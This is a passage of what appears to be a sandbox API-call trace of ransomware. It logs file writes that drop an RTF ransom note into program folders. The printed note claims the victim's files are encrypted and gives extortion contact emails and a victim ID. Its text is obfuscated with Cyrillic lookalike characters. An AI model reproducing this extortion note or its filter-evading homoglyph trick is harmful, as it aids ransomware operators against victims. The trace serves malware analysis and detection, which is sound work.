\\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n¤è;¤ÌÚÔ^ÁÎÚNE¥\x16U<è\x7fX@\x8d\x16S\x1f\x8aË\x18\x8c]Ó\x08", lpUsedDefaultChar=0x0) returned 14086 [0039.709] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0039.710] CloseHandle (hObject=0x1d4) returned 1 [0039.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\!bwng_info!.rtf")) returned 0xffffffff [0039.710] GetLastError () returned 0x2 [0039.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0039.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", 